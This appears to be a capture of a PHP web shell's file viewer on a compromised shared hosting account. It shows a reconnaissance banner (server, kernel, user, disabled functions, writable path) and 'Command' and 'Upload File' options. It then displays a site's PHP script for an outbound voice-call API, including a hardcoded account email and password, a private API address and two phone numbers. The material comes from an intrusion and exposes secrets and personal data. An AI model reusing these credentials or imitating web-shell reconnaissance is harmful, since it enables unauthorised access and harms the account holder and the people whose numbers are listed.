|
Server IP : 2a02:4780:3:2287:0:3736:a38e:8 / Your IP : 216.73.217.17 Web Server : LiteSpeed System : Linux sg-nme-web2187.main-hosting.eu 5.14.0-611.54.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 6 18:03:03 EDT 2026 x86_64 User : u926327694 ( 926327694) PHP Version : 7.4.33 Disable Function : system, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0777) : /home/u926327694/domains/smsoft.in/public_html/att/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/*error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
$api_url = 'http://180.150.248.169:8094/OBDSEA/FETCHCAMPAIGNSTATS?camp_id=33780';
$username = 'e.vision.infotech@gmail.com';
$password = 'Raghu@123';
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => $api_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_TIMEOUT => 60,
CURLOPT_POSTFIELDS => array(
'username' => $username,
'password' => $password
)
));
$response = curl_exec($curl);
$error = curl_error($curl);
$httpcode = curl_getinfo($curl, CURLINFO_HTTP_CODE);
curl_close($curl);
echo"<pre>"; print_r(json_decode($response)); exit;*/
$url = "http://180.150.248.169:8094/OBDSEA/voiceBlast";
//$url = "http://180.150.248.111:8094/OBDSEA/voiceBlast";
// API payload
$data = [
"campname" => "seqtesttttttt",
"username" => "e.vision.infotech@gmail.com",
"password" => "Raghu@123",
"numbers" => "9898244359<>8050482213",
"metadata" => "NA",
"soundId" => 428463, // static sound id
"camp_type" => 2,
"tts_text" => "NA",
"sch_date" => "NA",
"valid_audio" => "235",
"invalid_audio" => "NA",
"no_Response_audio" => "NA",
"no_of_retry" => "2",
"waiting_time" => "4",
"valid_option" => "1|2|3|4",
"unique_name" => "test0102",
"retry_on" => "YES",
"dnid_number" => "NA",
"max_retry" => 2,
"retry_time" => "00:00:30",
"retry_hangup_cause" => "NO ANSWER,BUSY",
"var1" => "100",
"var2" => "10",
"var3" => "DADA500",
"var4" => "10",
"language" => "1",
"maxcallTimeSec" => 30
];
echo"<pre>"; print_r($data); exit;
// Initialize cURL
$ch = curl_init($url);
// Set options
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json'
]);
// Execute request
$response = curl_exec($ch);
// Error handling
if (curl_errno($ch)) {
echo 'Curl Error: ' . curl_error($ch);
} else {
echo "Response:\n";
echo $response;
}
// Close connection
curl_close($ch);